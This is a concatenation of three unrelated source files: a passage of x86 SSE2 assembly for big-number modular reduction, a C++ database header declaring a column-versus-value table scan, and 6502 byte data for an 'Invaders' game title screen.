movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (92)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (92)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (96)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (96)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (100)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (100)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (104)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (104)(%edx)
psrlq $(32), %xmm7
movd (60)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (108)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (108)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (112)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (52)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (116)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (92)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (92)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (96)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (96)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (100)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (100)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (104)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (104)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (108)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (108)(%edx)
psrlq $(32), %xmm7
movd (60)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (112)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (112)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (116)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (56)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (120)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (92)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (92)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (96)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (96)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (100)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (100)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (104)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (104)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (108)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (108)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (112)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (112)(%edx)
psrlq $(32), %xmm7
movd (60)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (116)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (116)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (120)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (60)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (124)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (92)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (92)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (96)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (96)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (100)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (100)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (104)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (104)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (108)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (108)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (112)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (112)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (116)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (116)(%edx)
psrlq $(32), %xmm7
movd (60)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (120)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (120)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (124)(%edx)
pshuflw $(254), %xmm7, %xmm6
psrlq $(32), %xmm7
add $(64), %edx
jmp .Lfinishgas_1
.Lreduct_generalgas_1:
sub $(4), %esp
pandn %xmm6, %xmm6
mov %edi, %ebx
shl $(2), %ebx
shl $(2), %edi
.LmainLoopgas_1:
movd (24)(%ebp), %xmm0
movd (%edx), %xmm1
movd %xmm6, (%esp)
pmuludq %xmm1, %xmm0
xor %ecx, %ecx
pandn %xmm7, %xmm7
mov %edi, %esi
and $(28), %esi
jz .LtestSize_8gas_1
.Lsmall_loopgas_1:
movd (%ecx,%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (%edx,%ecx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (%edx,%ecx)
psrlq $(32), %xmm7
add $(4), %ecx
cmp %esi, %ecx
jl .Lsmall_loopgas_1
.LtestSize_8gas_1:
mov %edi, %esi
and $(32), %esi
jz .LtestSize_16gas_1
movd (%ecx,%eax), %xmm1
movd (%edx,%ecx), %xmm2
movd (4)(%ecx,%eax), %xmm3
movd (4)(%edx,%ecx), %xmm4
movd (8)(%ecx,%eax), %xmm5
movd (8)(%edx,%ecx), %xmm6
pmuludq %xmm0, %xmm1
paddq %xmm2, %xmm1
pmuludq %xmm0, %xmm3
paddq %xmm4, %xmm3
pmuludq %xmm0, %xmm5
paddq %xmm6, %xmm5
paddq %xmm1, %xmm7
movd (12)(%ecx,%eax), %xmm1
movd (12)(%edx,%ecx), %xmm2
movd %xmm7, (%edx,%ecx)
psrlq $(32), %xmm7
pmuludq %xmm0, %xmm1
paddq %xmm2, %xmm1
paddq %xmm3, %xmm7
movd (16)(%ecx,%eax), %xmm3
movd (16)(%edx,%ecx), %xmm4
movd %xmm7, (4)(%edx,%ecx)
psrlq $(32), %xmm7
pmuludq %xmm0, %xmm3
paddq %xmm4, %xmm3
paddq %xmm5, %xmm7
movd (20)(%ecx,%eax), %xmm5
movd (20)(%edx,%ecx), %xmm6
movd %xmm7, (8)(%edx,%ecx)
psrlq $(32), %xmm7
pmuludq %xmm0, %xmm5
paddq %xmm6, %xmm5
paddq %xmm1, %xmm7
movd (24)(%ecx,%eax), %xmm1
movd (24)(%edx,%ecx), %xmm2
movd %xmm7, (12)(%edx,%ecx)
psrlq $(32), %xmm7
pmuludq %xmm0, %xmm1
paddq %xmm2, %xmm1
paddq %xmm3, %xmm7
movd (28)(%ecx,%eax), %xmm3
movd (28)(%edx,%ecx), %xmm4
movd %xmm7, (16)(%edx,%ecx)
psrlq $(32), %xmm7
pmuludq %xmm0, %xmm3
paddq %xmm4, %xmm3
paddq %xmm5, %xmm7
movd %xmm7, (20)(%edx,%ecx)
psrlq $(32), %xmm7
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx,%ecx)
psrlq $(32), %xmm7
paddq %xmm3, %xmm7
movd %xmm7, (28)(%edx,%ecx)
psrlq $(32), %xmm7
add $(32), %ecx
.LtestSize_16gas_1:
mov %edi, %esi
and $(4294967232), %esi
jz .Lnext_termgas_1
.Lunroll16_loopgas_1:
movd (%ecx,%eax), %xmm1
movd (%edx,%ecx), %xmm2
movd (4)(%ecx,%eax), %xmm3
movd (4)(%edx,%ecx), %xmm4
movd (8)(%ecx,%eax), %xmm5
movd (8)(%edx,%ecx), %xmm6
pmuludq %xmm0, %xmm1
paddq %xmm2, %xmm1
pmuludq %xmm0, %xmm3
paddq %xmm4, %xmm3
pmuludq %xmm0, %xmm5
paddq %xmm6, %xmm5
paddq %xmm1, %xmm7
movd (12)(%ecx,%eax), %xmm1
movd (12)(%edx,%ecx), %xmm2
movd %xmm7, (%edx,%ecx)
psrlq $(32), %xmm7
pmuludq %xmm0, %xmm1
paddq %xmm2, %xmm1
paddq %xmm3, %xmm7
movd (16)(%ecx,%eax), %xmm3
movd (16)(%edx,%ecx), %xmm4
movd %xmm7, (4)(%edx,%ecx)
psrlq $(32), %xmm7
pmuludq %xmm0, %xmm3
paddq %xmm4, %xmm3
paddq %xmm5, %xmm7
movd (20)(%ecx,%eax), %xmm5
movd (20)(%edx,%ecx), %xmm6
movd %xmm7, (8)(%edx,%ecx)
psrlq $(32), %xmm7
pmuludq %xmm0, %xmm5
paddq %xmm6, %xmm5
paddq %xmm1, %xmm7
movd (24)(%ecx,%eax), %xmm1
movd (24)(%edx,%ecx), %xmm2
movd %xmm7, (12)(%edx,%ecx)
psrlq $(32), %xmm7
pmuludq %xmm0, %xmm1
paddq %xmm2, %xmm1
paddq %xmm3, %xmm7
movd (28)(%ecx,%eax), %xmm3
movd (28)(%edx,%ecx), %xmm4
movd %xmm7, (16)(%edx,%ecx)
psrlq $(32), %xmm7
pmuludq %xmm0, %xmm3
paddq %xmm4, %xmm3
paddq %xmm5, %xmm7
movd (32)(%ecx,%eax), %xmm5
movd (32)(%edx,%ecx), %xmm6
movd %xmm7, (20)(%edx,%ecx)
psrlq $(32), %xmm7
pmuludq %xmm0, %xmm5
paddq %xmm6, %xmm5
paddq %xmm1, %xmm7
movd (36)(%ecx,%eax), %xmm1
movd (36)(%edx,%ecx), %xmm2
movd %xmm7, (24)(%edx,%ecx)
psrlq $(32), %xmm7
pmuludq %xmm0, %xmm1
paddq %xmm2, %xmm1
paddq %xmm3, %xmm7
movd (40)(%ecx,%eax), %xmm3
movd (40)(%edx,%ecx), %xmm4
movd %xmm7, (28)(%edx,%ecx)
psrlq $(32), %xmm7
pmuludq %xmm0, %xmm3
paddq %xmm4, %xmm3
paddq %xmm5, %xmm7
movd (44)(%ecx,%eax), %xmm5
movd (44)(%edx,%ecx), %xmm6
movd %xmm7, (32)(%edx,%ecx)
psrlq $(32), %xmm7
pmuludq %xmm0, %xmm5
paddq %xmm6, %xmm5
paddq %xmm1, %xmm7
movd (48)(%ecx,%eax), %xmm1
movd (48)(%edx,%ecx), %xmm2
movd %xmm7, (36)(%edx,%ecx)
psrlq $(32), %xmm7
pmuludq %xmm0, %xmm1
paddq %xmm2, %xmm1
paddq %xmm3, %xmm7
movd (52)(%ecx,%eax), %xmm3
movd (52)(%edx,%ecx), %xmm4
movd %xmm7, (40)(%edx,%ecx)
psrlq $(32), %xmm7
pmuludq %xmm0, %xmm3
paddq %xmm4, %xmm3
paddq %xmm5, %xmm7
movd (56)(%ecx,%eax), %xmm5
movd (56)(%edx,%ecx), %xmm6
movd %xmm7, (44)(%edx,%ecx)
psrlq $(32), %xmm7
pmuludq %xmm0, %xmm5
paddq %xmm6, %xmm5
paddq %xmm1, %xmm7
movd (60)(%ecx,%eax), %xmm1
movd (60)(%edx,%ecx), %xmm2
movd %xmm7, (48)(%edx,%ecx)
psrlq $(32), %xmm7
pmuludq %xmm0, %xmm1
paddq %xmm2, %xmm1
paddq %xmm3, %xmm7
movd %xmm7, (52)(%edx,%ecx)
psrlq $(32), %xmm7
paddq %xmm5, %xmm7
movd %xmm7, (56)(%edx,%ecx)
psrlq $(32), %xmm7
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx,%ecx)
psrlq $(32), %xmm7
add $(64), %ecx
cmp %esi, %ecx
jl .Lunroll16_loopgas_1
.Lnext_termgas_1:
movd (%edx,%ecx), %xmm1
paddq %xmm1, %xmm7
movd (%esp), %xmm6
paddq %xmm7, %xmm6
movd %xmm6, (%edx,%ecx)
psrlq $(32), %xmm6
add $(4), %edx
sub $(4), %ebx
jg .LmainLoopgas_1
add $(4), %esp
shr $(2), %edi
.Lfinishgas_1:
pxor %xmm7, %xmm7
psubd %xmm6, %xmm7
movl (8)(%ebp), %esi
pandn %xmm0, %xmm0
xor %ecx, %ecx
.Lsubtract_loopgas_1:
movd (%edx,%ecx,4), %xmm1
paddq %xmm1, %xmm0
movd (%eax,%ecx,4), %xmm2
psubq %xmm2, %xmm0
movd %xmm0, (%esi,%ecx,4)
pshuflw $(254), %xmm0, %xmm0
add $(1), %ecx
cmp %edi, %ecx
jl .Lsubtract_loopgas_1
pcmpeqd %xmm6, %xmm6
pxor %xmm6, %xmm0
por %xmm7, %xmm0
pcmpeqd %xmm7, %xmm7
pxor %xmm0, %xmm7
xor %ecx, %ecx
.Lmasked_copy_loopgas_1:
movd (%esi,%ecx,4), %xmm1
pand %xmm0, %xmm1
movd (%edx,%ecx,4), %xmm2
pand %xmm7, %xmm2
por %xmm2, %xmm1
movd %xmm1, (%esi,%ecx,4)
add $(1), %ecx
cmp %edi, %ecx
jl .Lmasked_copy_loopgas_1
pop %edi
pop %esi
pop %ebx
pop %ebp
ret
|
#pragma once
#include <functional>
#include <memory>
#include <tuple>
#include <utility>
#include <vector>
#include "abstract_dereferenced_column_table_scan_impl.hpp"
#include "all_type_variant.hpp"
#include "types.hpp"
#include "utils/assert.hpp"
namespace opossum {
/**
* @brief Compares one column to a literal (i.e., an AllTypeVariant)
*
* - Value segments are scanned sequentially
* - For dictionary segments, we basically look up the value ID of the constant value in the dictionary
* in order to avoid having to look up each value ID of the attribute vector in the dictionary. This also
* enables us to detect if all or none of the values in the segment satisfy the expression.
*/
class ColumnVsValueTableScanImpl : public AbstractDereferencedColumnTableScanImpl {
public:
ColumnVsValueTableScanImpl(const std::shared_ptr<const Table>& in_table, const ColumnID column_id,
const PredicateCondition& init_predicate_condition, const AllTypeVariant& value);
std::string description() const override;
const AllTypeVariant value;
protected:
void _scan_non_reference_segment(const AbstractSegment& segment, const ChunkID chunk_id, RowIDPosList& matches,
const std::shared_ptr<const AbstractPosList>& position_filter) override;
void _scan_generic_segment(const AbstractSegment& segment, const ChunkID chunk_id, RowIDPosList& matches,
const std::shared_ptr<const AbstractPosList>& position_filter) const;
void _scan_dictionary_segment(const BaseDictionarySegment& segment, const ChunkID chunk_id, RowIDPosList& matches,
const std::shared_ptr<const AbstractPosList>& position_filter);
void _scan_sorted_segment(const AbstractSegment& segment, const ChunkID chunk_id, RowIDPosList& matches,
const std::shared_ptr<const AbstractPosList>& position_filter,
const SortMode sort_mode) const;
/**
* @defgroup Methods used for handling dictionary segments
* @{
*/
ValueID _get_search_value_id(const BaseDictionarySegment& segment) const;
bool _value_matches_all(const BaseDictionarySegment& segment, const ValueID search_value_id) const;
bool _value_matches_none(const BaseDictionarySegment& segment, const ValueID search_value_id) const;
template <typename Functor>
void _with_operator_for_dict_segment_scan(const Functor& func) const {
switch (predicate_condition) {
case PredicateCondition::Equals:
func(std::equal_to<void>{});
return;
case PredicateCondition::NotEquals:
func(std::not_equal_to<void>{});
return;
case PredicateCondition::LessThan:
case PredicateCondition::LessThanEquals:
func(std::less<void>{});
return;
case PredicateCondition::GreaterThan:
case PredicateCondition::GreaterThanEquals:
func(std::greater_equal<void>{});
return;
default:
Fail("Unsupported comparison type encountered");
}
}
/**@}*/
private:
const bool _column_is_nullable;
};
} // namespace opossum
|
; Troy's HBC-56 - 6502 - Invaders
;
; Copyright (c) 2021 Troy Schrapel
;
; This code is licensed under the MIT license
;
; https://github.com/visrealm/hbc-56
;
; Title screen
;
TITLES !byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$E4,$D9,$B0,$D9,$DE
!byte $E6,$D1,$D4,$D5,$E2,$E3,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$A0,$9F,$99
!byte $9E,$A4,$A3,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$FF,$22,$23,$85,$7F,$81,$80,$FF,$FF,$FF,$10,$11,$81,$80
!byte $7F,$82,$80,$FF,$FF,$FF,$06,$07,$81,$85,$7F,$83,$80,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$98,$99,$A4,$70,$A4,$98,$95,$70,$A9,$95,$9C,$9C,$9F,$A7
!byte $70,$A3,$91,$A5,$93,$95,$A2,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$99,$9E,$70,$A4,$98,$95,$70,$93,$95,$9E,$A4,$95,$A2,$70
!byte $96,$9F,$A2,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$9D,$91,$A8,$99,$9D,$A5,$9D,$70,$A0,$9F,$99,$9E,$A4,$A3
!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$8F,$8F,$8F,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$95,$A8,$A4,$A2,$91,$70,$9D,$99,$A3,$A3,$99,$9C,$95,$70
!byte $92,$91,$A3,$95,$70,$91,$A7,$91,$A2,$94,$95,$94,$FF,$FF,$FF,$FF
!byte $FF,$FF,$91,$A4,$70,$83,$80,$80,$80,$70,$A0,$9F,$99,$9E,$A4,$A3
!byte $7E,$70,$70,$9F,$9E,$95,$70,$92,$91,$A3,$95,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$A2,$95,$A0,$91,$99,$A2,$95,$94,$70,$95,$A6,$95,$A2,$A9
!byte $70,$81,$80,$7C,$80,$80,$80,$70,$A0,$9F,$99,$9E,$A4,$A3,$7E,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$D9,$DE,$E6,$D1,$D4,$D5,$E2
!byte $B0,$DF,$E0,$E4,$D9,$DF,$DE,$E3,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$C1,$BE,$B0,$DD,$D5,$E2,$D5,$DC,$E9,$B0
!byte $D1,$D7,$D7,$E2,$D5,$E3,$E3,$D9,$E6,$D5,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$C2,$BE,$B0,$D4,$DF,$E7,$DE,$E2,$D9,$D7
!byte $D8,$E4,$B0,$DE,$D1,$E3,$E4,$E9,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
